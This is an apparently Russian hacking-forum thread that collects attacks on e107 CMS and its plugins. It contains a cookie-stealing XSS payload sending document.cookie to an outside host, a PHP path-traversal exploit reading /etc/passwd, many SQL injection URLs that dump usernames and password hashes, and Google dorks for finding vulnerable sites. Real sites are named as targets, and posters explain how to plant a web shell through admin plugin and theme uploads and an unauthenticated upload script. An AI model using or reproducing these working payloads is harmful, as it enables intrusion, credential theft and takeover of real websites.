Смотрим e107_handlers/e_parse_class.php

Дабы избежать того, на что наткнулся ты, я поставлю /*1*/ в те участки кода, которые браузер воспринимает не так как они есть на самом деле:

function toDB($data, $nostrip = false, $no_encode = false, $mod = false)
{
global $pref;
if (is_array($data)) {
// recursively run toDB (for arrays)
foreach ($data as $key => $var) {
$ret[$key] = $this -> toDB($var, $nostrip, $no_encode, $mod);
}
} else {
if (MAGIC_QUOTES_GPC == TRUE && $nostrip == false) {
$data = stripslashes($data);
}
if(isset($pref['post_html']) && check_class($pref['post_html']))
{
$no_encode = TRUE;
}
if ($no_encode === TRUE && $mod != 'no_html')
{
$search = array('$', '"', "'", '\\', '<?');
$replace = array('&#/*1*/036;','&q/*1*/uot;','&#/*1*/039;', '�/*1*/92;', '&/*1*/lt;?');
$ret = str_replace($search, $replace, $data);
} else {
$data = htmlspecialchars($data, ENT_QUOTES, CHARSET);
$data = str_replace('\\', '\', $data);
$ret = preg_replace("/&amp;#(\d*?);/", "&#\\1;", $data);
}
//If user is not allowed to use [php] change to entities
if(!check_class($pref['php_bbcode']))
{
$ret = preg_replace("#\[(php)#i", "[\\1", $ret);
}

}

return $ret;
}

Если чуть короче, то вот замена, которая нам нужна:

' -> &#/*1*/039;

Что делает браузер? отображает &#/*1*/039; как привычную кавычку.
Что делаешь ты? дописываешь в код echo($authname);
И видишь, то, что хочешь увидеть - кавычку, а вот если заглянуть в сорец странички (html (Вид - Исходный код страницы)), то можно увидеть что кавычки там нету, а есть &#/*1*/039;

ettee
08.05.2009, 18:55
Уязвимость существует из-за недостаточной обработки входных данных параметра "email" в POST запросе сценария guestbook.php.
Уязвимое поле "E-mail". Сформированные Post data заголовок:
POSTDATA=name=E107 CMS (e107_plugins/guestbook) stored XSS by ettee(itdefence.ru)&email='><script>alert('xss')</script>Example: http://target/e107_plugins/guestbook/guestbook.php?edit.2. Где "2" является номером вашего сообщения.
Google dork: inurl:/e107_plugins/guestbook/guestbook.php
Cookie: '><script>img = new Image(); img.src = "http://someshit.net/image/s.gif?"+document.cookie;</script>

Nightmarе
05.07.2009, 01:29
Очень интересное наблюдение!

В движке е107 имеется возможность показывать аватары с других ресурсов, однако никакой проверки контента не существует, и вставив например ссылку со сплойтом вместо аватары, она сработает как Iframe, и хрен её заметишь =)) (ибо img src= и iframe= работают по одному принципу подгрузки контента)


Решение: Отключить нафиг эту функцию показа аватары с удалённого ресурса =)).

Solide Snake
24.07.2009, 02:09
e107 Plugin my_gallery 2.4.1 Exploit

Class: Input Validation Error
Remote: Yes
Vulnerable: e107.org my_gallery 2.4.1
e107.org my_gallery 2.3
e107.org my_gallery 0

<?php

/*

============================================
[o] e107 Plugin my_gallery 2.4.1 Exploit [o]
============================================

Bug [f]ound by NoGe - noge.code@gmail.com
Exploit [c]oded by Vrs-hCk - d00r@telkom.net

* Plugin my_gallery create photo gallery.
* Powered by Highslide JS script.
* With random gallery menu and navigation menu.
* Has a comment system, ratings and search of images.

Download e107 my_gallery 2.4.1 Plugin
http://code.google.com/p/e107mygalleryplugin/downloads/list


=============
[o] Usage [o]
=============

Web 2 XPL << fill with site who use e107 Plugin my_gallery
File 2 Read << fill with file or directory you want to read

Web 2 XPL : www.contoh.com
File 2 Read : /etc/passwd

Then Go!!!


==============
[o] Greetz [o]
==============

MainHack BrotherHood [ http://news.serverisdown.org ]
Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
H312Y yooogy mousekill }^-^{ loqsa zxvf martfella
skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

FUCK TERORIS!!

*/

$vuln = '/e107_plugins/my_gallery/image.php?file=';
$trasv = '/../../../../../../../../../../../../../../..';

echo "<form method=POST>
Web 2 XPL : <input type=\"text\" name=\"host\" size=30>
File 2 Read : <input type=\"text\" name=\"file\" size=30>
<input type=submit value=\"Go!!!\" name=\"_xpl\">
<br><br>";

if ($_POST['_xpl']) {
$data .= "GET /{$vuln}{$trasv}{$file} HTTP/1.1\r\n";
$data .= "Host: {$host}\r\n";
$data .= "Connection: close\r\n\r\n";
$html = sendpacket($host,$data);
print '<pre>'.htmlspecialchars($html).'</pre>';
}

echo "</form>";

function sendpacket($host,$data) {
if (!$sock = @fsockopen($host,80)) {
die("[!] Connection refused, try again!\n");
}
fputs($sock,$data);
while (!feof($sock)) { $html .= fgets($sock); }
fclose($sock);
return $html;
}

?>

# milw0rm.com [2009-07-23]

HAXTA4OK
26.08.2009, 15:17
e107 Plugin my_gallery 2.4.1 Exploit

Class: Input Validation Error
Remote: Yes
Vulnerable: e107.org my_gallery 2.4.1
e107.org my_gallery 2.3
e107.org my_gallery 0



1.image.php?file='; это в файле image постом выше


2.Читалка файлов

Файл dload.php

<?php
$file = $_GET['file'];
$date_txt = date("y-m-d_H-i-s");
$text = "Content-Disposition: attachment; filename=".$_SERVER["SERVER_NAME"]."_e107_my_gallery_".$date_txt.".jpg";
header('Content-type: image/jpeg');
header($text);
readfile($file);
?>

все тоже самое тока в еще одном файле

Пример : __http://www.verrechiaswords.com/e107_plugins/my_gallery/dload.php?file=/etc/passwd


там он вам даст сохранить картинку, сохраняем, открываем в блокноте и видим след строчки

<br />
<b>Warning</b>: readfile(\') [<a href='function.readfile'>function.readfile</a>]: failed to open stream: No such file or directory in <b>/home/verrechi/public_html/e107_plugins/my_gallery/dload.php</b> on line <b>7</b><br />


*conf DB

http://www.verrechiaswords.com/e107_plugins/my_gallery/dload.php?file=../../e107_config.php

[underwater]
29.08.2009, 14:56
На самом деле експлоит написан был раньше http://milw0rm.com/exploits/5308
http://www.obqvizapavlikeni.com/e107_plugins/my_gallery/dload.php?file=../../e107_config.php

Nightmarе
19.09.2009, 19:54
XSS в модуле YouTube Gallery(ytm_gallery):
e107_plugins/ytm_gallery/ytm.php?paging=<script>alert()</script>

© Nightmare

L I G A
08.11.2009, 18:36
e107(e107_v0.7.16_standart_RUS)


active XSS in comment's news
......./path/comment.php?comment.news.[id]

Submit comment
Subject: <script>alert(//)</script>
Comment:<script>alert(//)</script>

куки имеют вид:
1.1a1dc91c907325c69271ddf0c944bc72
id.md5(pass)


при инстале префикс таблиц не фильтруется
mysql_query("INSERT INTO {$this->previous_steps['mysql']['prefix']}core VALUES ('SitePrefs_Backup', '{$tmp}')");

Nightmarе
08.11.2009, 18:46
активки не во всех сборках, в норм версиях фильтрация стоит.

[x60]unu
08.11.2009, 19:12
SQL injection in e107 cms
Version = v0.7 or later
SQL
http://localhost/plugins/userjournals_menu/userjournals.php?blog.[SQL]

1:
-1 union all select 1,2,null,4,5,6,@@version,8,9,0,11,12,13--

2:
-1 union all select 1,2,3,4,5,6,user_password,8,9,0,11,12,13 from e107_user--

bug site:
http://www.shanomaac.com/e107_plugins/userjournals_menu/userjournals.php?blog.-1%20union%20all%20select%201,2,null,4,5,6,@@versio n,8,9,0,11,12,13--

Solide Snake
09.12.2009, 13:53
Межсайтовый скриптинг e107 ветки 0.x

Referer: "><script>alert(document.cookie)</script>

(c)

sir95
26.04.2010, 02:33
Решение: Отключить нафиг эту функцию показа аватары с удалённого ресурса =)).

Оно не загружает, оно просто показывает изображение ;) , пробывал но ничего не получилось.

Поскажите какие есть уязвимости на 0.7.11 , очень надо.

HAXTA4OK
27.04.2010, 22:21
Расскрытие путей
При простом переходе на файл e107_plugins/e107shop/features.php

пример :
http://northfloridahomebuilder.com/e107_plugins/e107shop/features.php

Strilo4ka
30.04.2010, 03:50
AutoGallery v3.1_beta
[скачано (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.510#)]
в гугле:
inurl:e107_plugins/autogallery
Результаты 1 - 10 из примерно 132 000

путь в информации!
http://e107/e107_plugins/autogallery/help.phpZ:\home\e107\www\e107_plugins\autogallery\ Gallery

пути (бес параметров запрос послать!):
http://e107/e107_plugins/autogallery/xmlplaylist.php
http://e107/e107_plugins/autogallery/editaction.php

пассивная XSS
e107_plugins/autogallery/arcade.php
....
// Do different things when the flash game gives different requests
$sessdo = $_POST['sessdo'];

if ($sessdo != '')
{
// Session start to get the game name - $title
$microone = $_POST['microone'];
$score = $_POST['score'];
$gametime = $_POST['gametime'];

// Keep feeding that flash!
switch($sessdo)
{
case 'sessionstart':
// Give it some random crap it doesn't really need (the initbar figure and lastid)
echo "&connStatus=1&gametime=$gametime&initbar=6Z4&lastid=6&val=x";
exit;
break;

// Give it permission for... no apparent reason
case 'permrequest':
// Notice $microone = $score; -__VERY IMPORTANT__
$microone = $score;
echo "&validate=1&microone=$microone";
exit;
break; ...
target:
http://[host]/[path]/e107_plugins/autogallery/arcade.php

Result (шлем POST!):
sessdo=sessionstart
gametime=<script>alert(/XSS/)</script>
или
sessdo=permrequest
microone=<script>alert(/XSS/)</script>

<form action="http://[host]/[path]/e107_plugins/autogallery/arcade.php" method="POST">
<input type=text name=sessdo value=sessionstart><br>
<input type=text name=gametime value='<script>alert(/XSS/)</script>'><br>
<input type=submit value=Отправить>
</form>

Strilo4ka
30.04.2010, 06:44
aa_meetings v1.1
[скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.653#)]


SQL inj
/e107_plugins/aa_meetings/geocode.php...// Select all the rows in the markers table
$query = "SELECT * FROM ".MPREFIX."aam_meetings WHERE 1";
if ($_GET['MeetingID']) $query .= " and MeetingID=".$_GET['MeetingID'];
else $query .= " and (Lat is null or Lng is null)";
$result = mysql_query($query);
if (!$result) {
die("Invalid query: " . mysql_error());
}...Result:
http://ovdpohe.sk/e107_plugins/aa_meetings/geocode.php?MeetingID=1+or+%28select+1+from+%28sel ect%20count%280%29%20from%20e107_user%20group%20by %20concat%28user_password%20,0x3a,floor%28rand%280 %29*2%29%29%29x%29--

Strilo4ka
30.04.2010, 16:11
Roster by Carl Taylor Version 2.0
гугл- inurl:/e107_plugins/roster

Blind SQL inj
[path]/e107_plugins/roster/userinfo.php...
//html file
require_once("html/roster_userinfo.php");
$html = new userinfo_html;


switch($_GET['action']){
default:
$text = $html->uinfo_show($_GET['m_id']);
}...[path]/e107_plugins/roster/html/roster_userinfo.php...
Class userinfo_html {

function uinfo_show($m_id) {
global $sql;

// get the member
$member_q = $sql->db_Select("roster_members", "*", "roster_member_id='".$m_id."'");
$member_a = $sql->db_Fetch(MYSQL_ASSOC);
$rank = explode(",", $member_a['roster_member_rank']);
$enlisted = date("dMY", $member_a['roster_member_enlisted']);
$enlisted = strtoupper($enlisted);
$patterns[0] = "/JUN/";
$patterns[1] = "/JUL/";...[path]/e107_handlers/mysql.class.php...function db_Select($table, $fields = '*', $arg = '', $mode = 'default', $debug = FALSE, $log_type = '', $log_remark = '') {
global $db_mySQLQueryCount;
$table = $this->db_IsLang($table);
$this->mySQLcurTable = $table;
if ($arg != '' && $mode == 'default')
{
if ($this->mySQLresult = $this->db_Query('SELECT '.$fields.' FROM '.MPREFIX.$table.' WHERE '.$arg, NULL, 'db_Select', $debug, $log_type, $log_remark)) {
$this->dbError('dbQuery');
return $this->db_Rows();
} else {
$this->dbError("db_Select (SELECT $fields FROM ".MPREFIX."{$table} WHERE {$arg})");
return FALSE;
}
} elseif ($arg != '' && $mode != 'default') {
if ($this->mySQLresult = $this->db_Query('SELECT '.$fields.' FROM '.MPREFIX.$table.' '.$arg, NULL, 'db_Select', $debug, $log_type, $log_remark)) {
$this->dbError('dbQuery');
return $this->db_Rows();
} else {
$this->dbError("db_Select (SELECT {$fields} FROM ".MPREFIX."{$table} {$arg})");
return FALSE;
}
} else {
if ($this->mySQLresult = $this->db_Query('SELECT '.$fields.' FROM '.MPREFIX.$table, NULL, 'db_Select', $debug, $log_type, $log_remark)) {
$this->dbError('dbQuery');
return $this->db_Rows();
} else {
$this->dbError("db_Select (SELECT {$fields} FROM ".MPREFIX."{$table})");
return FALSE;
}
}
}......function dbError($from) {
if ($error_message = @mysql_error()) {
if ($this->mySQLerror == TRUE) {
message_handler('ADMIN_MESSAGE', '<b>mySQL Error!</b> Function: '.$from.'. ['.@mysql_errno().' - '.$error_message.']', __LINE__, __FILE__);
return $error_message;
}
}
}...К сожелению ошибки от СУБД отключены:
function db_Connect($mySQLserver, $mySQLuser,$mySQLpassword, $mySQLdefaultdb)
...
$this->mySQLerror = FALSE;
...Result:
http://[host]/[path]/e107_plugins/roster/userinfo.php?m_id=1'+and+substring(version(),1,1)= 5--+
Контент выводится!

http://[host]/[path]/e107_plugins/roster/userinfo.php?m_id=1'+and+substring(version(),1,1)= 4--+
Контент не выводится!

Условие: mg=off

roster_sql.php - в скрипте структура єтого плагина бес дескрипторов!
путь - http://[host]/[path]/e107_plugins/roster/log/userclass2.php

Strilo4ka
01.05.2010, 13:17
Я обписался ):
В посте выше не блинд, а иньекция c принтабельными!
SQL inj
гугл inurl:/e107_plugins/roster
http://[host]/[path]/e107_plugins/roster/userinfo.php?m_id=-1'+union+select+1,2,3,4,5,6,7,8,user_password,10,1 1,12,13,14,15,16,user_loginname,18+from+e107_user--+Условие: mg=off

А вот и доказательства:
http://www.10thsfg.org/e107_plugins/roster/userinfo.php?m_id=-5%27+union+select+1,2,3,4,5,6,7,8,user_password%20 ,10,11,12,13,14,15,16,user_loginname,18+from+e107_ user--+

Strilo4ka
01.05.2010, 21:03
Social Shop v1.1 by eleljrk
cкачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.706#)

гугл inurl:e107_plugins/social_shop/

SQL inj
[path]/e107_plugins/social_shop/shop.php...elseif($_GET['product']) {
$storedb->db_Select("ss_products","*", "product_id='".$_GET['product']."'");
while($store_row = $storedb -> db_Fetch()) {
if($store_row['product_approve'] == 0 && !ADMIN) {
$ns->tablerender(SS_ERROR , "<div align='center'>".SS_ERRORMASSAGE."<a href='".e_SELF."?page=home'>".$pref['ss_store_name']."</a></div>".$credits);
require_once(FOOTERF);
exit;
}
else {
$store_user = get_user_data($store_row['product_releaser']);
$filesize = round((filesize("store/".$store_row['product_product']) / 1024));
$product_description = str_replace("\n" ,"<br />" , $store_row['product_description']);
$store...
Результат:
http://[host]/[path]/e107_plugins/social_shop/shop.php?product=-1'+union+select+1,concat_ws(0x3a,user_loginname,us er_password),3,4,5,6,7,8,9,10,11,12,13,14+from+e10 7_user--+

Условие: mg=off

Strilo4ka
01.05.2010, 22:11
Survey_46.zip v0.47 by yvalni
скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.651#)

гугл- inurl:e107_plugins/survey
Результаты 1 - 10 из примерно 7 430

SQL inj
[path]/e107_plugins/survey/survey.php
...if($_POST['submit']){
$cnv = new convert;
$mailto_addresses = "";
$submit_time = time();
$mailtext = LAN_SUR42.": ".$cnv -> convert_date($submit_time,"long")."\n\n";

$sql -> db_Select("survey","*","survey_id='{$_POST['survey_id']}' ");
if($row = $sql -> db_Fetch()){
extract($row);
}
if($survey_class != e_UC_PUBLIC && $survey_once){
if(already_voted($survey_user)){
$ns -> tablerender("Error - {$survey_name}",LAN_SUR2);
require_once(FOOTERF);
exit;
}
}...Самое интересное что survey_id можно и не знать,
данные вместе с ошибкой вылазят (есть принтабельное поле!) :)

Результат:
<form action="http://[host]/[path]/e107_plugins/survey/survey.php" method=post>
<input type=text name=survey_id value="-2' union select 1,concat_ws(0x3a,user_loginname,user_password ),3,4,5,6,7,8,9,10,11,12,13,14 from e107_user limit 0,1-- ">
<input type=submit name=submit>
</form>

Условие: mg=off

Strilo4ka
01.05.2010, 23:55
Registration v0.9 by holiday
скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.508#)

SQL inj в order by (есть вывод от СУБД!)

гугл- inurl:e107_plugins/registration

[path]/e107_plugins/registration/playerlist.php
require_once("../../class2.php");
//@include_once e_PLUGIN.'registration/languages/'.e_LANGUAGE.'.php';
@include_once e_PLUGIN.'registration/languages/Deutsch.php';


require_once("cRegistration.php");


require_once(HEADERF);

$title=sprintf("%s - %s",REG_MAIN_2, cTournament::getInstance()->getActualTournament() );
$ns->tablerender($title, cRegistration::getInstance()->showRegisteredUser($_REQUEST['order']));


require_once(FOOTERF);
[path]/e107_plugins/registration/Cregistration.php
....public function showRegisteredUser($order=""){

$config = cConfig::getInstance()->getConfiguration();
$data=$this->getAllParcipitants($order);


$border=sprintf("border:0;border-bottom: #444 1px solid;");
$padding1=sprintf("padding-right: 1em");
$table.=sprintf("<table align=left style='width:95%%;margin-left:10px;border-collapse:collapse;%s; background:none;'>",$border);


$table.=sprintf("<tr>");......protected function getAllParcipitants($order){

try {


global $tp, $sql;

//reihenfolge wird immer durch Name, Vornamen ergдnzt
if(empty($order))$order="reg_name, reg_vorname";
else $order.=', reg_name, reg_vorname';
$data=array();

$this->debug("DB select {$this->table}");
$tid=cTournament::getInstance()->getActualTournamentId();

$result=$sql->db_Select("teilnehmer", "*" , "WHERE reg_tournamentId=$tid ORDER BY $order ", "");

if(!$result) {
$error=sprintf("DB Error %s: %s", mysql_errno(), mysql_error());
if(mysql_errno()>0) throw new Exception ($error);
$this->debug("Kein Datenbankeintrag gefunden");
}


//$teilnehmer=array();
while($row = $sql->db_Fetch()) {
...Результат:
http://[host]/[path]/e107_plugins/registration/playerlist.php?order=1,(select 1 from (select count(0),concat_ws(0x3a,(select user_loginname from e107_user limit 0,1),(select user_password from e107_user limit 0,1),floor(rand(0)*2)) from (select 1 union select 2 union select 3)x group by 2)a)

ps
1) лучше постом крутить!
2) http://[host]/[path]/e107_plugins/registration_sql.php - структура плагина!

Strilo4ka
02.05.2010, 14:59
Map Me! v1.3 by rickey911
скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.615#)

SQL inj
гугл- inurl:/e107_plugins/mapme

[path]/e107_plugins/mapme/mapmejs.php...require_once("../../class2.php");

// Get language file (assume that the English language file is always present)
$lan_file = e_PLUGIN."mapme/languages/".e_LANGUAGE.".php";
include_lan($lan_file);

header("Content-type: application/x-javascript");

global $pref, $user;
$uid = $_GET['u'];
$sql->mySQLresult = @mysql_query("SELECT ".MPREFIX."gmarkers.loc, ".MPREFIX."gmarkers.lat, ".MPREFIX."gmarkers.lng, ".MPREFIX."user.user_name, ".MPREFIX."user.user_image FROM `".MPREFIX."gmarkers`, ".MPREFIX."user where ".MPREFIX."gmarkers.user_id = ".$uid." and ".MPREFIX."gmarkers.user_id = ".MPREFIX."user.user_id");
$rows=$sql->db_Rows();
if($rows){
$row = $sql->db_Fetch();
if($row['user_image']){
require_once(e_HANDLER."avatar_handler.php");
$uimage = "<img src='".avatar($row['user_image'])."' alt='".$row['user_name']."' style='text-align:middle' />";
}
else{
$uimage = "<img src='".e_PLUGIN."mapme/images/noavatar.gif' alt='".$row['user_name']."' style='text-align:middle' />";
}

$html = "\"<div style='width:250px;'><div style='float:left; text-align:left;'>".$uimage."</div><div style='float:left; text-align:left;'><a href='".e_BASE."user.php?id.".$uid."' title='".$row['user_name']."'><b>".$row['user_name']."</b></a><br>".MAPME_JS_001." ".$row['user_name']." ".MAPME_JS_002." ".$row['loc'].".";
if($uid==USERID){
$html .="<br><br><span class='smalltext'><a href='".e_PLUGIN_ABS."mapme/mapconfig.php'>".MAPME_JS_003."</a></span>"; // bugfix by nlstart
}
...Результат и никаких условий:
http://[host]/[path]/e107_plugins/mapme/mapmejs.php?u=-1+union+select+1,2,3,concat_ws(0x3a,user_loginname ,user_password),5+from+e107_user--+

ps скоро буду ескплоиты на перл писать когда вылечусь ):

Strilo4ka
02.05.2010, 16:49
Tabbed Menu v2.0 by KVN
скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.442#)
inurl:e107_plugins/tabbed_menu
пасивная XSS
http://[host]/[path]/e107_plugins/tabbed_menu/ajaxhandler.php?target=<script>alert(123)</script>[path]/e107_plugins/tabbed_menu/ajaxhandler.php...}else{
$ajax_response = "<menu_name>{$_GET['target']}</menu_name><source_id>$ajax_source</source_id><arg>$ajax_arg</arg> <b>No Data Available</b>";
}
echo $ajax_response;
путь:
http://[host]/[path]/e107_plugins/tabbed_menu/ajaxhandler.php?source=1

Strilo4ka
02.05.2010, 18:10
AACGC Hall of Shame v1.6 by ~M@CH!N3~
07:27 02-Apr-10
скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.727#)
Blind SQL inj
гугл- inurl:e107_plugins/aacgc_hos
[path]/e107_plugins/aacgc_hos/HOS_Details.php...require_once("../../class2.php");
require_once(HEADERF);
if (e_QUERY) {
$tmp = explode('.', e_QUERY);
$action = $tmp[0];
$sub_action = $tmp[1];
$id = $tmp[2];
unset($tmp);
}


//------------------------------------------------------------------------------------------------------------

$text .= "<center><table style='width:90%' class='indent' cellspacing='' cellpadding=''>";


$sql->db_Select("aacgc_hos", "*", "WHERE hos_id = $sub_action","");
$row = $sql->db_Fetch();...плюс - никаких условий.
минус - надо знать hos_id.

Результат:
Пусть hos_id=1 и 5 ветка
http://[host]/[path]/e107_plugins/aacgc_hos/HOS_details.php?.1 and substring(version(),1,1)=5 - есть контент!
http://[host]/[path]/e107_plugins/aacgc_hos/HOS_details.php?.1 and substring(version(),1,1)=4 - нет контента!

ps с "+" контент не выводился (если в гет пихать)

Strilo4ka
02.05.2010, 19:11
AACGC BFBC2 Stats v1.3 by ~M@CH!N3~
скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?cat.12#) 2-d order inj
гугл- inurl:e107_plugins/aacgc_bfbcstats
[path]/e107_plugins/aacgc_bfbcstats/Member_Details.php
...require_once("../../class2.php");
require_once(HEADERF);

if (e_QUERY) {
$tmp = explode('.', e_QUERY);
$action = $tmp[0];
$sub_action = $tmp[1];
$id = $tmp[2];
unset($tmp);
}

if ($pref['bfbc_enable_gold'] == "1"){$gold_obj = new gold();}

//---------------------------------------------------------------

$title .= "Battlefield Bad Company 2 Member Details";

//---------------------------------------------------------------

$sql ->db_Select("user_extended", "*", "WHERE user_extended_id=$sub_action","");
$row = $sql->db_Fetch();
$sql2 ->db_Select("user", "*", "WHERE user_id='".$row['user_extended_id']."'","");
$row2 = $sql2->db_Fetch();
if ($pref['bfbc_enable_gold'] == "1"){
$username = "".$gold_obj->show_orb($row2['user_id'])."";}
else
{$username = "".$row2['user_name']."";}
if ($pref['bfbc_enable_avatar'] == "1"){
if ($row2['user_image'] == "")
{$avatar = "";}
else
{$useravatar = $row2[user_image];
require_once(e_HANDLER."avatar_handler.php");
$useravatar = avatar($useravatar);
$avatar = "<img src='".$useravatar."' width=".$pref['bfbc_avatar_size']."px></img>";}}
$bfbcname = $row['user_bfbc2'];

//------------------------------------------------------

$text .= "<table style='width:100%' class=''>";

$text .= "
<tr>
<td bgcolor='#000000'><center><img src='".e_PLUGIN."aacgc_bfbcstats/images/bfbc2banner.jpg'></img></center></td>
</tr>";...Результат:
хексим: ' union select 1,concat_ws(user_loginname,':',user_password),3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3,24,25,26,27,28,29,30,31 from e107_user limit 0,1-- http://host//path/e107_plugins/aacgc_bfbcstats/Member_Details.php?.1%20and%200%20union%20select%2 00x2720756e696f6e2073656c65637420312c636f6e6361745 f777328757365725f6c6f67696e6e616d652c273a272c75736 5725f70617373776f7264292c332c342c352c362c372c382c3 92c31302c31312c31322c31332c31342c31352c31362c31372 c31382c31392c32302c32312c32322c32332c32342c32352c3 2362c32372c32382c32392c33302c33312066726f6d2065313 0375f75736572206c696d697420302c312d2d20,2 Username: :admin21232f297a57a5a743894a0e4a801fc3 ()Пути:
http://[host]/[path]/e107_plugins/aacgc_bfbcstats/kits.php
http://[host]/[path]/e107_plugins/aacgc_bfbcstats/general.php
http://[host]/[path]/e107_plugins/aacgc_bfbcstats/teams.php
http://[host]/[path]/e107_plugins/aacgc_bfbcstats/BFBC2_menu.php

ps
- "+" заменяем на " ";
- незабываем за шелл через 2-ой запрос.

Strilo4ka
02.05.2010, 20:21
Advanced Ranking and Medal System v1.5 by MikeNL
21:44 31-Jan-10
скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.696#)
SQL inj
гугл- inurl:e107_plugins/advmedsys
[path]/e107_plugins/advmedsys/advmedsys_view.php
...require_once("../../class2.php");
require_once(HEADERF);
//-----------------------------------------------------------------------------------------------------------+
//-----------------------------------------------------------------------------------------------------------+
if (e_QUERY) {
$tmp = explode('.', e_QUERY);
$action = $tmp[0];
$sub_action = $tmp[1];
$id = $tmp[2];
unset($tmp);
}
$lan_file = e_PLUGIN."advmedsys/languages/".e_LANGUAGE.".php";
require_once(file_exists($lan_file) ? $lan_file : e_PLUGIN."advmedsys/languages/English.php");
//-----------------------------------------------------------------------------------------------------------+
if ($action == "main" || $action == "") {...
...if ($action == "det")
{
$width = "width:100%";
$text .= "
<div style='text-align:center'>
<br><a href='advmedsys_view.php'><center>[ ".AMS_VIEW_S9." ]</center></a><br>
<table style='".$width."' class='fborder' cellspacing='0' cellpadding='0'>
<tr>
<td style='width:80px' class='forumheader3'><center>".AMS_VIEW_S1."</td>
<td style='width:100%' class='forumheader3'>".AMS_VIEW_S2."</td>
</tr>";
$sql->db_Select("advmedsys_medals", "*", "WHERE medal_id = $sub_action","");
$row = $sql->db_Fetch();
$text .= "
<tr>
<td style='width:80px' class='forumheader3'><img src='medalimg/".$row['medal_pic']."' alt = '".AMS_VIEW_S1."'></img></td>
<td style='width:100%; vertical-align:middle' class='forumheader3'>".$row['medal_name']."</td>
</tr>
</table>
<br></br>...Далее по коду 2-d order inj.

Результат:
http://[host]/[path]/e107_plugins/advmedsys/advmedsys_view.php?det.1 and 0 union select 1,2,3,concat_ws(0x3a,user_loginname,user_password) from e107_user

http://[host]/[path]/e107_plugins/advmedsys/advmedsys_view.php?det.1 and 0 union select 1,concat_ws(0x3a,user_loginname,user_password),3,4 from e107_user limit 0,1

пример:
http://www.truescap.com/e107_plugins/advmedsys/advmedsys_view.php?det.1/*! and 0 union select 1,2,3,concat_ws(0x3a,user_loginname,user_password) from e107_user*/

Strilo4ka
03.05.2010, 02:55
Как лить шелл через админку.

Способ 1.
Если в e107_admin/ есть filetypes.php, то можно устанавливать плагины!

По умолчанию этот файл называеться filetypes_.php, тоесть лить неззя.

Тогда такой massage:
An error has occurred, unable to un-archive the file PCLZIP extract error: 'PCLZIP_ERR_MISSING_FILE (-4)'

Но если filetypes.php, то берем madnet шелл (или wso etc чтоб никого не обидеть! ^_^), выкачиваем плагин (любой!), распаковываем, пыхаем туда наш шелл, архивируем, ну и устанавливаем плагин.

Пробывал на Spam Cleaner v1.0 by martinj - размер 2.7 кб. [скачан отсюдо] (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.564#)

и если ниче не блочит типо mod_security
http://[host]/[path]/e107_plugins/spamcleaner/our_shell.php

Способ 2.
Такой же, только через установку новой темы в админке Theme Manager -> Upload Theme.
http://[host]/[path]/e107_themes/mew_team/our_shell.php

ps
1. Проверял на последней сборке!
2. Делимся способами заливки! ):

up

Способ 3.
Через бажный плагин если таковой имееться.
№1 (http://forum.antichat.ru/showpost.php?p=2125618&postcount=123)

Как лить шелл (не имея прав админа!).

Способ 1
Бажный плагин.
№1 (http://forum.antichat.ru/showpost.php?p=2120557&postcount=123)

№2 (http://forum.antichat.ru/showpost.php?p=2125703&postcount=123)

Strilo4ka
03.05.2010, 19:44
ех,вкусная бреш!
плагин за 2009 год, скачан отсюдо (http://plugins.e107.org)

гугл- inurl:e107_plugins/radio_plan/

http://[host]/[path]/e107_plugins/radio_plan/admin/upload.php...include "../configuration.php";
include "../includes/functions.inc.php";

if($_FILES){
if(move_uploaded_file($_FILES['pic']['tmp_name'], '../images/' . get('target') . '/' . $_FILES['pic']['name'])){
echo "Upload erfolgreich";

$image_path = '../images/' . get('target') . '/';

// Bilder in der Grosse anpassen
//$act_image = $_FILES['pic']['name'];
// $image_parts = explode('.', $act_image, -1);
// $image_name = $image_parts[0];
// $image_parts = explode('.', $act_image);
// $image_ext = array_pop($image_parts);
//
// $full_image = $image_name . '.full.' . $image_ext;
// $thumb_image = $image_name . '.thumb.' . $image_ext;
//
// image_resize($image_path . $act_image, $image_full_width, $image_full_height, $image_path . $full_image, $image_ext);
// image_resize($image_path . $act_image, $image_thumb_width, $image_thumb_height, $image_path . $thumb_image, $image_ext);
//
// unlink($image_path . $act_image);
}
else
echo "Upload fehlgeschlagen";...[path]/e107_plugins/radio_plan/includes/functions.inc.php...function get($var, $flag = ''){
$let_get = TRUE;

if(strpos("/POST", $var) === FALSE){
$let_get = FALSE;
$var = ereg_replace("/POST", "", $var);
}
if(isset($_POST[$var]))
return $_POST[$var];
else if(isset($_GET[$var]) && $let_get == FALSE)
return $_GET[$var];
else if(isset($_FILES[$var][$flag]) && $let_get == FALSE)
return $_FILES[$var][$flag];
else
return FALSE;
}...Когда лил шелл на локале - была ошибка, но понял что у меня PHP Version 5.3.1
И это связано с этим:
Note: As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.заменил на:$var = preg_replace("@/POST@", "", $var);Уря ):

http://[host]/[path]/e107_plugins/radio_plan/images/our_sell.php

ps
на целевом ниче не надо менять.
забыл, пост слать не надо, там сразу форма с загрузкой файла выводиться когда обращаемся к скрипту upload.php ):

Strilo4ka
05.05.2010, 18:49
Alternate Profiles
выкачал отсюдо (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.404 )

гугл- inurl:e107_plugins/alternate_profiles

./e107_plugins/alternate_profiles/db_upgrade.php...
if(isset($_GET['con'])) {

$start = $_GET['start'];
$end = $_GET['end'];

$query = mysql_query("SELECT * FROM ".MPREFIX."alternate_profiles LIMIT $start,$end");
$rows = mysql_num_rows($query);
if (isset($_GET['count'])) {
$count = $_GET['count'];
$first = $_GET['start'] - 2;
echo "Users #".$first." to #".$count." have been updated.<br/>";
